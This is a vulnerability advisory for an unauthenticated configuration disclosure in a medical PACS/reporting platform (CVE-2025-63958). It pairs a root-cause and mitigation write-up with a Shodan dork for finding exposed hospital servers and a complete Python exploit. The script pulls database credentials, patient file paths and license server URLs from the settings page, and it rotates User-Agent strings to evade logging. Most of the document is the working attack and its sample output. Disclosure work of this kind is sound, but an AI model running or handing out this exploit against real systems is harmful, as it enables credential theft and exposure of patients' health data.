CVE-2025-63958 — MILLENSYS Vision Tools Workspace Unauthenticated Configuration Disclosure
1. Overview
This advisory documents a critical unauthenticated configuration disclosure affecting multiple versions of MILLENSYS Vision Tools Workspace, a medical PACS/Reporting platform widely deployed across hospitals and radiology centers.
A missing access control on the /MILLENSYS/settings endpoint allows remote attackers to retrieve full backend configuration, including plaintext database credentials, file share paths, license server URLs, and sensitive system parameters.
CVE ID: CVE-2025-63958
2. Introduction
During an authorized security assessment, publicly accessible servers running MILLENSYS Vision Tools Workspace were identified. Multiple versions were verified as vulnerable:
- 6.5.0.2585
- 6.5.0.2596
- 5.10.5.2429
All versions exposed the same critical flaw.
3. Discovery & Enumeration
3.1. Shodan Search
The following Shodan dork was used to enumerate publicly accessible instances:
http.title:"Vision Tools Workspace"
This revealed live deployments in multiple countries.
3.2. Identifying Public Interfaces
Each host presented the same landing page:
- “Welcome to Millensys, Vision Tools Workspace”
- Hosted on Microsoft IIS
- Version shown on login pages (e.g., 6.5.0.2585)

4. Vulnerable Endpoint Identification
4.1. Direct Access to Administrative Panel
The following endpoint was found accessible without authentication:
/MILLENSYS/settings
This loads the WorkSpace Control Panel—normally reserved for administrators.
4.2. Accessing Web Settings
Clicking “Web Settings” redirects to:
/MILLENSYS/edit/Settings.MillenSys
This endpoint exposes sensitive backend configuration directly in HTML.
5. Sensitive Data Exposure
The settings page reveals:
MiGlobal Database:
- Server
- Database
- Username:
Example - Password: (masked, but retrievable through HTML)
MiReport Database:
- Same pattern: server, DB name, username, password
Other Exposed Data:
- Patient folder directory paths
- Report template directories
- Client update executables
- License server URL
- Profile paths
All sensitive values are rendered in plaintext in HTML without authentication.
6. Technical Root Cause
- Zero authentication checks on critical administrative endpoints.
- Credentials embedded directly in client-side HTML.
- Lack of role-based access control.
- Sensitive configuration stored in web-accessible pages.
7. Impact Assessment
Confidentiality
Severe breach — Full DB credentials exposed.
Integrity
Attackers can alter patient data, user accounts, reports, and configuration.
Availability
DB destruction or corruption is possible.
Business Impact
- PHI exposure (HIPAA/GDPR violation risk)
- Full system compromise
- Lateral movement into hospital networks
- Operational shutdown
8. Affected Versions
Confirmed on:
- 5.10.5.2429
- 6.5.0.2585
- 6.5.0.2596
Likely affects all versions exposing these endpoints.
9. Mitigation
Immediate
- Remove public exposure immediately.
- Restrict access behind VPN or IP whitelist.
Long‑Term
- Implement server-side authentication.
- Remove sensitive values from client-side HTML.
- Encrypt stored credentials.
10. Security Mapping
CWE
- CWE-306 — Missing Authentication for Critical Function
- CWE-200 — Sensitive Information Exposure
- CWE-284 — Improper Access Control
MITRE ATT&CK
- T1210: Exploitation of Remote Services
- T1552: Unsecured Credentials
11. Final CVE Summary
CVE-2025-63958 — MILLENSYS Vision Tools Workspace Unauthenticated Configuration Disclosure
A missing access control vulnerability allows unauthenticated attackers to access administrative configuration pages through /MILLENSYS/settings and /MILLENSYS/edit/Settings.MillenSys. These pages expose plaintext database credentials, file system paths, client update packages, and license server URLs. Exploitation results in full system compromise.
12. Proof of Concept (PoC)
The following PoC demonstrates the unauthenticated extraction of full configuration data, including plaintext database credentials, via the vulnerable endpoints.
PoC Execution
To test a target:
python3 cve-2025-63958.py -u http://TARGET:PORT/
Optional:
-h, --help show this help message and exit
-u, --url URL Target base URL (e.g., http://10.10.10.10:8080)
--json JSON Export results to JSON file
--no-color Disable colored output
✔ Example Output
CVE-2025-63958 – PoC Execution Output
┌──(ozex㉿ozex)-[~/CVEs/CVE-2025-63958]
└─$ python3 cve-2025-63958.py -u http://TARGET:PORT
▒█████ ▒███████▒▓█████ ▒██ ██▒
▒██▒ ██▒▒ ▒ ▒ ▄▀░▓█ ▀ ▒▒ █ █ ▒░
▒██░ ██▒░ ▒ ▄▀▒░ ▒███ ░░ █ ░
▒██ ██░ ▄▀▒ ░▒▓█ ▄ ░ █ █ ▒
░ ████▓▒░▒███████▒░▒████▒▒██▒ ▒██▒
░ ▒░▒░▒░ ░▒▒ ▓░▒░▒░░ ▒░ ░▒▒ ░ ░▓ ░
░ ▒ ▒░ ░░▒ ▒ ░ ▒ ░ ░ ░░░ ░▒ ░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░
░
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
► CVE-2025-63958 MILLENSYS Vision Tools Workspace PoC
► Unauthenticated Configuration & Credentials Disclosure
► Author: Khaled Al-Refaee (Ozex)
━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━
→ Targeting: http://TARGET:PORT/
→ Checking: http://TARGET:PORT/MILLENSYS/settings
✓ Settings endpoint responds
! Target appears VULNERABLE
→ Fetching configuration: http://TARGET:PORT/MILLENSYS/edit/Settings.MillenSys
✓ Configuration accessed WITHOUT authentication
! CRITICAL: Sensitive data exposed
──────────────────────────────────────────────────────────────────────
EXPOSED CONFIGURATION DATA
──────────────────────────────────────────────────────────────────────
▸ MiGlobal Settings
────────────────────────────────────────────────────────────
MiGlobalServerName : Example
MiGlobalDatabase : Example
MiGlobalUserName : sa
MiGlobalPassword : Protected
▸ MiReport Settings
────────────────────────────────────────────────────────────
MiReportServerName : Example
MiReportDatabase : Example
MiReportUserName : sa
MiReportPassword : Protected
▸ Client Setup
────────────────────────────────────────────────────────────
Setup : Example_setup.exe
Updates : Example_updates.exe
DotNet : Example.exe
LastVersion : XX.X.X
▸ Folders Setup
────────────────────────────────────────────────────────────
PatientsPath : \\Example\Example
ReportTemps : \\TARGET:PORT\Example
▸ License
────────────────────────────────────────────────────────────
LicenseServer : http://TARGET:PORT/millensys/milicenseservice/
▸ Profile Settings
────────────────────────────────────────────────────────────
Profile : ~/profiles
ProfileFileName : profile.msa
▸ Report Settings
────────────────────────────────────────────────────────────
EnableReport : false
Editor : Advanced
▸ Images Settings
────────────────────────────────────────────────────────────
CreateThumbs : false
▸ HIS Settings
────────────────────────────────────────────────────────────
HISClincMode : false
HISEditor : Advanced
▸ Display Settings
────────────────────────────────────────────────────────────
OR : false
SiteName : Millensys
Language : en
▸ Search Settings
────────────────────────────────────────────────────────────
MaxSearch : 1000
Rows : 90
Caching : false
▸ Modules Settings
────────────────────────────────────────────────────────────
EnableScan : false
StorageSwitcher : false
══════════════════════════════════════════════════════════════════════
Summary:
Total fields exposed: 30
Sensitive fields: 9
══════════════════════════════════════════════════════════════════════
╔═══════════════════════════════════════════════════════════════════╗
║ VULNERABILITY CONFIRMED ║
║ ║
║ This system is VULNERABLE to CVE-2025-63958 ║
║ Immediate remediation recommended ║
╚═══════════════════════════════════════════════════════════════════╝
Disclaimer: Authorized testing only.
Full PoC Code (Python3)
#!/usr/bin/env python3
# ======================================================================
# CVE-2025-63958 – MILLENSYS Vision Tools Workspace PoC
# Unauthenticated Exposure of Configuration & Credentials
# Author: Khaled Al-Refaee (Ozex)
# ======================================================================
import argparse
import requests
from urllib.parse import urljoin
from bs4 import BeautifulSoup
import json
import sys
import random
import string
requests.packages.urllib3.disable_warnings()
# ======================================================================
# ANSI Colors
# ======================================================================
class Colors:
HEADER = '\033[95m'
OKBLUE = '\033[94m'
OKCYAN = '\033[96m'
OKGREEN = '\033[92m'
WARNING = '\033[93m'
FAIL = '\033[91m'
ENDC = '\033[0m'
BOLD = '\033[1m'
GRAY = '\033[90m'
WHITE = '\033[97m'
MAGENTA = '\033[35m'
RED_BG = '\033[41m'
BRIGHT_CYAN = '\033[96m'
BRIGHT_MAGENTA = '\033[95m'
BRIGHT_YELLOW = '\033[93m'
BRIGHT_GREEN = '\033[92m'
# ======================================================================
# Banner
# ======================================================================
def print_banner():
"""Display styled banner"""
banner = f"""{Colors.OKGREEN}{Colors.BOLD}
▒█████ ▒███████▒▓█████ ▒██ ██▒
▒██▒ ██▒▒ ▒ ▒ ▄▀░▓█ ▀ ▒▒ █ █ ▒░
▒██░ ██▒░ ▒ ▄▀▒░ ▒███ ░░ █ ░
▒██ ██░ ▄▀▒ ░▒▓█ ▄ ░ █ █ ▒
░ ████▓▒░▒███████▒░▒████▒▒██▒ ▒██▒
░ ▒░▒░▒░ ░▒▒ ▓░▒░▒░░ ▒░ ░▒▒ ░ ░▓ ░
░ ▒ ▒░ ░░▒ ▒ ░ ▒ ░ ░ ░░░ ░▒ ░
░ ░ ░ ▒ ░ ░ ░ ░ ░ ░ ░ ░
░ ░ ░ ░ ░ ░ ░ ░
░
{Colors.ENDC}
{Colors.BRIGHT_CYAN}{Colors.BOLD}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━{Colors.ENDC}
{Colors.BRIGHT_MAGENTA} ► CVE-2025-63958 {Colors.ENDC}{Colors.BRIGHT_CYAN}MILLENSYS Vision Tools Workspace PoC{Colors.ENDC}
{Colors.BRIGHT_YELLOW} ► Unauthenticated Configuration & Credentials Disclosure{Colors.ENDC}
{Colors.BRIGHT_GREEN} ► Author: Khaled Al-Refaee (Ozex){Colors.ENDC}
{Colors.BRIGHT_CYAN}{Colors.BOLD}━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━━{Colors.ENDC}
"""
print(banner)
# ======================================================================
# User-Agent Randomization (evades logging & default Python bios)
# ======================================================================
UAS = [
"Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 "
"(KHTML, like Gecko) Chrome/127.0.0.1 Safari/537.36",
"Mozilla/5.0 (X11; Linux x86_64) Gecko/20100101 Firefox/128.0",
"Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 "
"(KHTML, like Gecko) Version/17.4 Safari/605.1.15",
"Edge/127.0.0.1 (Windows NT 10.0; Win64; x64)"
]
def fake_ua():
return random.choice(UAS)
# ======================================================================
# Target Sections
# ======================================================================
SECTIONS = {
"MiGlobal Settings": [
"MiGlobalServerName", "MiGlobalDatabase",
"MiGlobalUserName", "MiGlobalPassword"
],
"MiReport Settings": [
"MiReportServerName", "MiReportDatabase",
"MiReportUserName", "MiReportPassword"
],
"Client Setup": ["Setup", "Updates", "DotNet", "LastVersion"],
"Folders Setup": ["PatientsPath", "ReportTemps"],
"License": ["LicenseServer"],
"Profile Settings": ["Profile", "ProfileFileName"],
"Report Settings": ["EnableReport", "Editor"],
"Images Settings": ["CreateThumbs"],
"HIS Settings": ["HISClincMode", "HISEditor"],
"Display Settings": ["OR", "SiteName", "Language"],
"Search Settings": ["MaxSearch", "Rows", "Caching"],
"Modules Settings": ["EnableScan", "StorageSwitcher"]
}
SENSITIVE_FIELDS = ["password", "username", "database", "server"]
def is_sensitive(key):
return any(p in key.lower() for p in SENSITIVE_FIELDS)
# ======================================================================
# HTML Extraction
# ======================================================================
def extract_inputs(html):
soup = BeautifulSoup(html, "html.parser")
inputs = {}
# <input>
for inp in soup.find_all("input"):
name = inp.get("name")
value = inp.get("value", "")
if not name:
continue
if inp.get("type") == "checkbox":
value = "true" if inp.get("checked") else "false"
inputs[name] = sanitize(value)
# <select>
for sel in soup.find_all("select"):
name = sel.get("name")
if not name:
continue
selected = sel.find("option", selected=True)
if selected:
inputs[name] = sanitize(selected.text)
else:
first = sel.find("option")
if first:
inputs[name] = sanitize(first.text)
return inputs
def sanitize(v):
if not v:
return ""
return v.replace("\r", "").replace("\n", "").strip()
# ======================================================================
# Section Grouping
# ======================================================================
def group_by_sections(inputs):
grouped = {}
for section_name, keys in SECTIONS.items():
grouped[section_name] = {
k: inputs[k] for k in keys if k in inputs
}
return grouped
# ======================================================================
# UI Output
# ======================================================================
def print_status(symbol, message, color):
print(f"{color}{symbol}{Colors.ENDC} {message}")
def print_section_header(title):
line = "─" * 70
print(f"\n{Colors.OKCYAN}{line}{Colors.ENDC}")
print(f"{Colors.BOLD}{Colors.WHITE} {title}{Colors.ENDC}")
print(f"{Colors.OKCYAN}{line}{Colors.ENDC}\n")
def print_key_value(key, value, indent=2):
spaces = " " * indent
if is_sensitive(key):
if value:
print(f"{spaces}{Colors.WARNING}{key:25s}{Colors.ENDC}: "
f"{Colors.FAIL}{Colors.BOLD}{value}{Colors.ENDC}")
else:
print(f"{spaces}{Colors.GRAY}{key:25s}: {value}{Colors.ENDC}")
else:
if value:
print(f"{spaces}{Colors.OKCYAN}{key:25s}{Colors.ENDC}: "
f"{Colors.WHITE}{value}{Colors.ENDC}")
else:
print(f"{spaces}{Colors.GRAY}{key:25s}: {value}{Colors.ENDC}")
def print_grouped_output(grouped):
print_section_header("EXPOSED CONFIGURATION DATA")
sensitive_count = 0
total_fields = 0
for section, values in grouped.items():
if not values:
continue
print(f"\n{Colors.BOLD}{Colors.MAGENTA}▸ {section}{Colors.ENDC}")
print(f"{Colors.GRAY} {'─' * 60}{Colors.ENDC}")
for key, value in values.items():
print_key_value(key, value)
total_fields += 1
if is_sensitive(key) and value:
sensitive_count += 1
print(f"\n{Colors.OKCYAN}{'═' * 70}{Colors.ENDC}")
print(f"{Colors.BOLD} Summary:{Colors.ENDC}")
print(f" Total fields exposed: {Colors.WHITE}{total_fields}{Colors.ENDC}")
print(f" Sensitive fields: {Colors.FAIL}{Colors.BOLD}{sensitive_count}{Colors.ENDC}")
print(f"{Colors.OKCYAN}{'═' * 70}{Colors.ENDC}\n")
# ======================================================================
# Vulnerability Check
# ======================================================================
def check_vuln(target):
settings_url = urljoin(target, "/MILLENSYS/settings")
edit_url = urljoin(target, "/MILLENSYS/edit/Settings.MillenSys")
headers = {"User-Agent": fake_ua()}
print_status("→", f"Targeting: {Colors.WHITE}{target}{Colors.ENDC}", Colors.OKBLUE)
print_status("→", f"Checking: {Colors.GRAY}{settings_url}{Colors.ENDC}", Colors.OKBLUE)
try:
r = requests.get(settings_url, headers=headers, timeout=(3, 5), verify=False)
except Exception as e:
print_status("✗", f"Connection error: {e}", Colors.FAIL)
sys.exit(1)
# Better detection
keywords = ["WorkSpace", "Control Panel", "<input", "MiGlobal"]
vulnerable = r.status_code == 200 and any(k in r.text for k in keywords)
if vulnerable:
print_status("✓", "Settings endpoint responds", Colors.OKGREEN)
print_status("!", "Target appears VULNERABLE", Colors.WARNING)
else:
print_status("✗", "Target does NOT appear vulnerable", Colors.FAIL)
print_status("ℹ", f"HTTP {r.status_code}", Colors.GRAY)
sys.exit(0)
print()
print_status("→", f"Fetching configuration: {Colors.GRAY}{edit_url}{Colors.ENDC}", Colors.OKBLUE)
try:
r2 = requests.get(edit_url, headers=headers, timeout=(3, 5), verify=False)
except Exception as e:
print_status("✗", f"Request failed: {e}", Colors.FAIL)
sys.exit(1)
if r2.status_code == 200:
print_status("✓", "Configuration accessed WITHOUT authentication", Colors.OKGREEN)
print_status("!", "CRITICAL: Sensitive data exposed", Colors.FAIL)
return r2.text
else:
print_status("✗", f"Failed (HTTP {r2.status_code})", Colors.FAIL)
sys.exit(0)
# ======================================================================
# Final Banner
# ======================================================================
def print_vulnerability_banner():
print(f"\n{Colors.RED_BG}{Colors.WHITE}{Colors.BOLD}")
print("╔═══════════════════════════════════════════════════════════════════╗")
print("║ VULNERABILITY CONFIRMED ║")
print("║ ║")
print("║ This system is VULNERABLE to CVE-2025-63958 ║")
print("║ Immediate remediation recommended ║")
print("╚═══════════════════════════════════════════════════════════════════╝")
print(f"{Colors.ENDC}")
# ======================================================================
# Main
# ======================================================================
def main():
print_banner()
parser = argparse.ArgumentParser(
description="CVE-2025-63958 - MILLENSYS Vision Tools Workspace PoC",
formatter_class=argparse.RawDescriptionHelpFormatter
)
parser.add_argument("-u", "--url", required=True,
help="Target base URL (e.g., http://10.10.10.10:8080)")
parser.add_argument("--json", help="Export results to JSON file")
parser.add_argument("--no-color", action="store_true",
help="Disable colored output")
args = parser.parse_args()
if args.no_color:
for attr in dir(Colors):
if not attr.startswith('_'):
setattr(Colors, attr, '')
print()
html = check_vuln(args.url)
inputs = extract_inputs(html)
grouped = group_by_sections(inputs)
print_grouped_output(grouped)
if args.json:
with open(args.json, "w", encoding="utf-8") as f:
json.dump(grouped, f, indent=4, ensure_ascii=False)
print_status("✓", f"Exported to {args.json}", Colors.OKGREEN)
print_vulnerability_banner()
print(f"{Colors.GRAY}Disclaimer: Authorized testing only.{Colors.ENDC}\n")
if __name__ == "__main__":
main()
✍️ Author’s Note
Written by Khaled Al‑Refaee (Ozex)
Cybersecurity Consultant | Red Team Operator | Offensive Security Professional